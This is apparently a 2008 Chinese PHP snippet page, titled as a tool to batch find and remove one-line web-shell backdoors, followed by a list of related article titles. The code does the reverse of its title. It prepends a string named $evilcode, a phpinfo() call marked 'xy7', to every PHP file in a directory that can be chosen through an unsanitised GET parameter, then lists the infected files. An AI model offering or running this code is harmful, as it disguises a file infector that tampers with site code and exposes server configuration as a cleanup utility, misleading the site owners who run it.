用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
一个改进的UBB类
Oct 09 PHP
关于BIG5-HKSCS的解决方法
Mar 20 PHP
php 网页游戏开发入门教程一(webgame+design)
Oct 26 PHP
需要注意的几个PHP漏洞小结
Feb 05 PHP
apache和php之间协同工作的配置经验分享
Apr 08 PHP
php用header函数实现301跳转代码实例
Nov 25 PHP
ThinkPHP 表单自动验证运用示例
Oct 13 PHP
PHP读取大文件的几种方法介绍
Oct 27 PHP
PHP开发实现微信退款功能示例
Nov 25 PHP
PHP调用接口API封装的例子
Oct 11 PHP
laravel添加前台跳转成功页面示例
Oct 22 PHP
TP5框架页面跳转样式操作示例
Apr 05 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
在DC的漫画和电影中,蝙蝠侠的宿敌,小丑的真名是什么?
2020/04/09 欧美动漫
用PHP实现的生成静态HTML速度快类库
2007/03/31 PHP
PHP实现把MySQL数据库导出为.sql文件实例(仿PHPMyadmin导出功能)
2014/05/10 PHP
枚举JavaScript对象的函数
2006/12/22 Javascript
jQuery 版元素拖拽原型代码
2011/04/25 Javascript
页面调用单个swf文件,嵌套出多个方法。
2011/11/21 Javascript
JS中使用Array函数shift和pop创建可忽略参数的例子
2014/05/28 Javascript
javascript使用avalon绑定实现checkbox全选
2015/05/06 Javascript
纯javascript实现的小游戏《Flappy Pig》实例
2015/07/27 Javascript
JS实现回到页面顶部动画效果的简单实例
2016/05/24 Javascript
创建一般js对象的几种方式
2017/01/19 Javascript
基于jQuery实现一个marquee无缝滚动的插件
2017/03/09 Javascript
angularjs实现table增加tr的方法
2018/02/27 Javascript
Vue2.0生命周期的理解
2018/08/20 Javascript
详解如何在微信小程序开发中正确的使用vant ui组件
2018/09/13 Javascript
vuex + axios 做登录验证 并且保存登录状态的实例
2018/09/16 Javascript
微信小程序如何使用globalData的方法
2019/06/06 Javascript
JavaScript React如何修改默认端口号方法详解
2020/07/28 Javascript
[56:24]DOTA2上海特级锦标赛主赛事日 - 3 胜者组第二轮#1Liquid VS MVP.Phx第二局
2016/03/04 DOTA
python 借助numpy保存数据为csv格式的实现方法
2018/07/04 Python
Python中Numpy ndarray的使用详解
2019/05/24 Python
python打开使用的方法
2019/09/30 Python
vue学习笔记之动态组件和v-once指令简单示例
2020/02/29 Python
Pycharm中使用git进行合作开发的教程详解
2020/11/17 Python
Python 数据分析之逐块读取文本的实现
2020/12/14 Python
浅析python实现动态规划背包问题
2020/12/31 Python
华美博弈C/VC工程师笔试试题
2012/07/16 面试题
文秘专业大学生求职信
2013/11/10 职场文书
酒店前台接待岗位职责
2013/12/03 职场文书
初中政治教学反思
2014/01/17 职场文书
同事打架检讨书
2014/02/04 职场文书
门前三包责任书
2014/04/15 职场文书
中学生社会实践活动总结
2014/07/03 职场文书
小学安全教育主题班会
2015/08/12 职场文书
铁拳制作人赞《铁拳7》老头环Mod:制作精良 但别弄了
2022/04/03 其他游戏
MYSQL事务的隔离级别与MVCC
2022/05/25 MySQL